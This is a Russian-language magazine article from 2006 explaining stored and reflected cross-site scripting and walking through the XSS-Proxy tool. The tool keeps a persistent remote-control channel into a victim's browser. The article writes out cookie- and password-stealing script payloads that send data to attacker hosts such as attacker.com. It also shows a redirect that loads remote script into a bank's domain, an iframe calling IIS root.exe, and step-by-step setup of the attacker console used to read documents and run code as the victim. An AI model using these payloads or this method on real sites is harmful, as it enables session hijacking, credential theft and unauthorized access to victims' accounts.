продвинутый межсайтовый скриптинг с удаленным контролем в реальном времени

Межсайтовый скриптинг обычно воспринимается разработчиками и экспертами безопасности как минимальная угроза. В этой статье мы хотим развеять этот миф и представить инструмент XSS-Proxy, который позволяет удаленному атакующему полностью контролировать XSS-нападение. В статье будут описаны существующие XSS-атаки и будет разработан новый метод для создания интерактивных, двунаправленных, постоянных и более опасных XSS-атак.

основные типы XSS-нападений

Большинство читателей считают, что существует 2 основных вектора XSS-нападений:

1. Хранимый XSS – злоумышленник сохраняет выполняемый сценарий на форумах, блогах и других сайтах. Сохраненный сценарий будет выполнен в браузерах всех пользователей, посетивших уязвимую страницу. В результате:

- атакующий может загрузить сценарий, который будет выполнен каждый раз при просмотре страницы;

- реализуемы Popup’ы, редиректы и прочие неприятности$

- возможна отправка куки пользователя сайта на сервер атакующего.

Например, публикация следующего сообщения:

<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>

приведет к загрузке изображения с сервера атакующего, которому будут переданы куки пользователя, просмотревшего эту картинку.

2. Отраженный XSS. Злоумышленник может внедрить произвольный код сценария в документ, доступный целевому пользователю, или в e-mail сообщение. В результате данные пользователя изменяют результирующую страницу и позволяют внедрить команды сценария в возвращенную страницу (поиск на сайте и отраженные результаты).

Обычно работает с 1-м типом атак на публичном сайте/e-mail, для того чтобы вызвать принудительный URL-редирект на 2-й сайт.

Куки и другие важные данные сайта (например, скрытые поля форм) могут быть доступны атакующему.

Например, на сайте публикуется следующее сообщение:

<script>document.location=’http://banking.com/search?name=<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>’</script>

Затем, когда пользователь будет перенаправлен на сайт banking.com с XSS, будет возвращен и выполнен следующий скрипт:

<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>

Этот сценарий пытается загрузить изображение с сервера атакующего, которому будут переданы куки пользователя сайта banking.com.

Ранее было замечено, что более эффективная манипуляция может быть достигнута с при помощи XSS-сценария, который открывает IFRAME (или другой оконноподобный элемент) и загружает/представляет его для других документов на том же самом сайте. Доверие DOM (Document Object Model) позволяет Javascript взаимодействовать с другими окнами и элементами IFRAME до тех пор, пока окна указывают на тот же самый документ домена (протокол + имя домена + порт).

Этот метод XSS-атак обычно ограничен единственной транзакцией к злонамеренному серверу и используется для кражи куков или передачи данных формы.

типы утечки информации

Браузер может раскрыть куки сайту атакующего (данные сессии, параметры заказа и т.п.)

http://host/a.php?variable="><script>
document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>


Браузер может раскрыть данные отправленной формы сайту атакующего (UserID/пароль и т.п.):

<form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image;
hackImg.src='http://www.malicioussite.com/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;" </form>


Пользователю может быть представлена обманная форма (заказа, регистрации и т.п.) на доверенном сервере:

www.trustedserver.com/xss.asp?name =<iframe src=http://www.trustedserver.com/auth_area/orderupdate?items=4000></iframe>

Пользователь может участвовать в нападении на другие сайты:

/hello.asp?name = <iframe src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>


Ограничения подобных атак:

- обычно можно осуществить только одну транзакцию с XSS-кодом против уязвимого сервера;

- большинство атак направлены на кражу куков;

- редко используется XSS в POST-формах, обычно всегда используется метод GET;

- атакующий не знает фактических ответов браузера. По этому рекомендуется использовать в POST-запросах скрытые данные формы и другую информацию о состоянии сессии, чтобы ограничить риск XSS-нападений.

Особенности Document Object Model:

- доверие между дочерним окном и тем же самым сайтом;

- сценарии могут взаимодействовать между двумя окнами;

- данные сценария могут быть загружены куда угодно;

- картинки могут быть загружены куда угодно;

- Javascript может быть в пределах <script></script> тегов, загруженный через <script src=remote.com>, или внутри многих тегов, например:

<img src=javascript….onload=javascript>


- GET/POST формы могут быть переданы другому сайту через Javascript-действия.

XSS злоупотребляет правилами DOM, однако подчиняется этим правилам.

основы XSS-Proxy нападения

Расширим обычное XSS-нападение и объединим его с возможностью загружать дополнительные Javascript-команды с произвольных удаленных серверов, чтобы использовать XSS не только для редиректа с кражой данных куки. Эта комбинация позволяет атакующему установить постоянный двунаправленный канал контроля/передачи к XSS-жертве и получить доступ к уязвимым сайтам как жертва. Пока жертва находится внутри обманного XSS-окна в том же самом местоположении, мы можем полностью контролировать браузер жертвы с возможностью перенаправлять пользователя на другие уязвимые сайты или создавать определенные слепые запросы на другие серверы. Это возможно выполнить с любым из двух типов атак, описанных выше, но мы опишем пример XSS-редиректа с двумя серверами.

Жертва получает XSS-вектор через сообщение блога, форума, e-mail и т.п. (жерва посещает некоторый публичный сайт evilblog.com, где другие пользователи могут создать XSS) и затем Javascript-код переадресовывает пользователя на другой сайт (например, banking.com, который уязвим к XSS в форме поиска через GET-запрос). Перенаправляемый URL ссылается на уязвимый раздел на втором сервере, который заставит сервер ответить Javascript-командой, которая будет выполнена в браузере жертвы.

Начальный XSS-вектор на evilblog.com будет выгладить примерно так:

<script>document.location=”http://banking.com/search?name=<script src=’http://attacker.com/xss.js’></script>”</script>

Страница, возвращенная вторым сервером (banking.com), будет содержать следующий скрипт:

<script src='http://attacker.com/xss.js'></script>

Окно жертвы теперь имеет текущий документ домена banking.com, и Javascript-команды будут выполнены в контексте этого домена. Этот Javascript заставит жертву выполнить запрос к attacker.com для получения других команд сценария. Утилита XSS-Proxy фактически запускается на сервере attacker.com и использует код Javascript, который состоит из нескольких функций для чтения документов, отправки форм, перенаправления ответов и обработки ошибок, а также некоторых команд для создания IFRAME, загрузки корневого документа целевого сервера (banking.com) в этот IFRAME, ожидания нескольких секунд до его полной загрузки, прочтения данных (используя innerHTML), выполнения дополнительных запросов сценария на attacker.com. Звучит сложно, но это только несколько функций, некоторые ссылки на эти функции и таймер событий, чтобы выполнить дополнительные вызовы сценариев. Эти функции остаются в памяти, пока не изменится окно жертвы. Обычно происходит 2 события, когда атакующий выполняет подзапросы к attacker.com:

1. Содержание документа в IFRAME (результат innerHTML для этого объекта), будет передано в URL сценария запроса. Сценарий использует только GET, так что жертва запрашивает сценарий как обычный документ, и собирает параметры/информацию из URL после имени сценария/страницы. Результирующий запрос на сервер атакующего будет выглядеть следующим образом:

GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1

Фактически это выглядит значительно более сложно, так как IE ограничивает длину URL (2049 символов), таким образом, большинство документов будет разбито на части, которые будут соответствовать запросу сценария. Программа пытается обработать их, помещая некоторую дополнительную информацию в URL-запросы для повторной сборки.

2. Сервер attacker.com ответит на последний запрос сценария большим количеством javascript-команд. Сервер либо ответит циклическим ответом (в основном говорит жертве подождать несколько секунд и запросить дополнительные команды), запросом документа (загрузит документ в IFRAME, прочитает его и отправит обратно результат в ожидании дополнительных команд), отправкой данных формы (установит значения для элементов форм в IFRAME, отправит данные формы, подождет ответ от сервера, прочитает ответ и перенаправит результаты атакующему серверу и получит дополнительные команды). Или javascript-функция оценит ответы (внутри текущего окна браузера жертвы) и возвратит результат+get команды. Этот процесс будет продолжаться, пока жертва остается на той же самой странице.

Существует множество методов сокрытия фактического "резидентного" окна атаки или IFRAME-загрузчика. Основное окно может быть скрыто или может быть оставлено оригинальное содержание сайта, а спрятан только IFRAME. Утилита XSS-Proxy оставляет окно и IFRAME видимым жертве, но это легко изменить – атакующий может сделать это в интерактивном режиме с Javascript Eval. Также существует множество методов, чтобы заставить пользователя загрузить новое окно и с небольшим количеством дополнительной логики можно обойти блокировку pop-up окон (XSS-процесс уже перезаписывает ссылки в оригинальном документе, чтобы по клику открыть новое окно). Новое окно может быть зеркалом того, что пользователь только что просматривал или результатом клика на ссылку в публичном XSS-документе, и можно заставить пользователя покинуть окно, контролируемое XSS, пока он продолжает серфинг в браузере.

краткий обзор использования XSS-прокси

Итак, для начала вам нужно найти (например, на sourceforge) пакет XSS-Proxy 0.0.11-shmoo и, разумеется, скачать его.

Далее изменяем в perl-сценарии переменную $code_server и $PORT, которые указывают на систему, в которой будет запущен perl-сценарий. По умолчанию http://localhost на 80 порту.

Запускаем perl-сценарий. По умолчанию http://localhost/admin - это консоль администрирования атакующего, которая может использоваться для просмотра или управления результатами.

Файл инициализации, на который жертва должна указать - /xss2.js. Таким обоазом, ваш начальный XSS-вектор должен ссылаться на perl-сервер и это имя файла, например:

<script src="http://localhost/xss2.js"></script>

После того, как вы инициализировали жертву в ожидающем цикле, вы можете или просмотреть документ на XSS-сайте и кликнуть на ссылку, которую вы хотите, чтобы посетила жертва, или войти в документы/переменные в соответствующих полях формы.

команды и операции администратора XSS-proxy

Данные в консоли не обновляются самостоятельно. Для этого необходимо нажать кнопку refesh/reload в вашем браузере.

Для работы консоли можно отключить Javascript.

Сессии отображаются в разделе Clients сразу после того, как жертва получает XSS.

Каждая жертва/сессия должна направить копию корневого каталога XSS-сервера.

Отправленные документы отображаются в разделе Document Results. Если вы кликните на документ, он перепишет URL и ссылки внутри этого документа, в результате XSS-Proxy заставит клиента загрузить эти ссылки.

Если вы изменяете и отправляете формы, вы должны удостовериться что последняя страница, которую загрузил клиент, является той же самой страницей, затем заполните параметры и утвердите форму. Тут также некоторые URL могут быть перезаписаны, и код предполагает, что страница уже загружена жертвой.

Вы также можете загрузить документы вручную, введя URL в форму Fetch Document. Первое значение является номером сессии, второе значение – документ, который необходимо загрузить. Полученный документ будет отображен в разделе Document Results.

Другая форма под названием Evaluate используется для запросов javascript-переменных/функций от определенного клиента. Введите сессию слева и переменные справа (например, 0 и document.cookie, чтобы отобразить куки для 0 сессии).

Результаты запросов отображаются в разделе Eval Results.

Обработчик ошибок в браузере жертвы отображает ошибки в загруженных страницах, мы увидим их в разделе Errors.

В коде все еще присутствует несколько ошибок, поэтому прочитайте комментарии в контролируемых сценариях, чтобы быть готовым к возможным проблемам. Нападение работает в браузерах IE и Firefox (c небольшими изменениями будет работать и в других браузерах). Perl-скрипт может быть запущен на любой операционной системе с установленным интерпретатором Perl. Работа программы проверена на Linux и Windows (Activestate Perl) с Perl5.

значение атаки/инструмента

Это нападение позволяет установить постоянное подключение и загрузить произвольное число документов в браузер жертвы. Такие жертвы называют “браузеры-зомби”. Возможность просматривать документы, изменять и представлять документы, к которым жертва может иметь доступ, позволяет атакующему получить доступ к сайту от имени XSS-жертвы. Это полезно, когда жертва уже зарегистрирована на сайте и атакующий внедряется в текущую сессию.

XSS-Proxy - один из примеров технологии session-riding и объединенного XSS и может использоваться для получения доступа к тем же самым ресурсам, к которым имеет доступ жертва. В результате можно работать в кешированных/существующих входах в систему, получить доступ к сайту с авторизацией через клиентские сертификаты или с ограничениями по IP-адресам, а также получить доступ к произвольным ресурсам в обход межсетевого экрана. Эта атака также позволяет в реальном времени получить доступ к браузеру жертвы, эксплуатировать какие-то его уязвимости. Атака может быть также потенциально усилена для дополнительного доступа к браузеру/хосту жертвы. Этот контролируемый канал может использоваться и для поставки других злонамеренных программ.

Это также означает, что начальная XSS-атака и контролируемая сессия ограничена не только уязвимым XSS-сервером. Атакующий может перенаправить жертву на другие XSS-уязвимые сайты и определить, какой доступ жертва имеет к этим сайтам.

Другие возможности этого продукта позволяют искать другие сайты с XSS-уязвимостями. Можно изучить ответы, и при попытке IFRAME/window вернуться обратно к XSS-контролируемому сайту попытаться уже резидентному XSS-коду снова прочитать фрейм. Если попытка эксплуатации XSS-неуспешна, то резидентный XSS-код не сможет прочитать IFRAME, удалит IFRAME и выполнит следующую попытку.

XSS-Proxy имеет логику отрицания IFRAME-доступа, которая удаляет IFRAME и загружает оригинальный корень оригинального XSS-сайта в случае неудачного чтения IFRAME. Это может использоваться для выполнения атаки CSRF XSS fuzzing с GET URL: просим клиента извлечь документ из другой целевой системы и включить некоторый XSS-код в URL, чтобы опять установить фрейм к основному XSS-сайту в случае удачи. Пример, который позволяет XSS-Proxy и жертве с сессией 0 на сайте http://xsssite1.com проверить сайт http://csrfprobesite.com:

Form: Fetch Document
Session: 0
Location: http://csrfprobesite/probeurl?probevalue=<script>
document.location="http://xsssite1.com/lalalalala"


Если XSS-Proxy получит ошибку доступа к документу в загруженном IFRAME, то попытка провалилась. Если ошибка не отобразится и новый загруженный IFRAME-документ установит местоположение к "http://xsssite1.com/lalalalala", то попытка удачна. Следует учитывать, что IE требует, чтобы в сообщении об ошибке 404 было более 512 байт. Firefox всегда читает 404-ю ошибку, полученную от сервера.

Это нападение очень опасно и, в совокупности с любым другим нападением, связанным с DOM-доверием в браузерах (такие уязвимости ежемесячно обнаруживают в браузере Firefox), проблема выглядит еще хуже, поскольку открывается возможность получить доступ к любым документам, к которым имеет доступ жертва. Сейчас XSS-прокси только захватывает содержимое документа (HTML/Text), а картинки, файлы и другие данные не могут быть загружены атакующим. Удаленный поиск этих файлов возможен с использованием функций типа XMLHTTP для произвольных двоичных файлов на целевом сервере.



Антон Регер


Сетевые решения. Статья была опубликована в номере 08 за 2006 год в рубрике save ass…

©1999-2024 Сетевые решения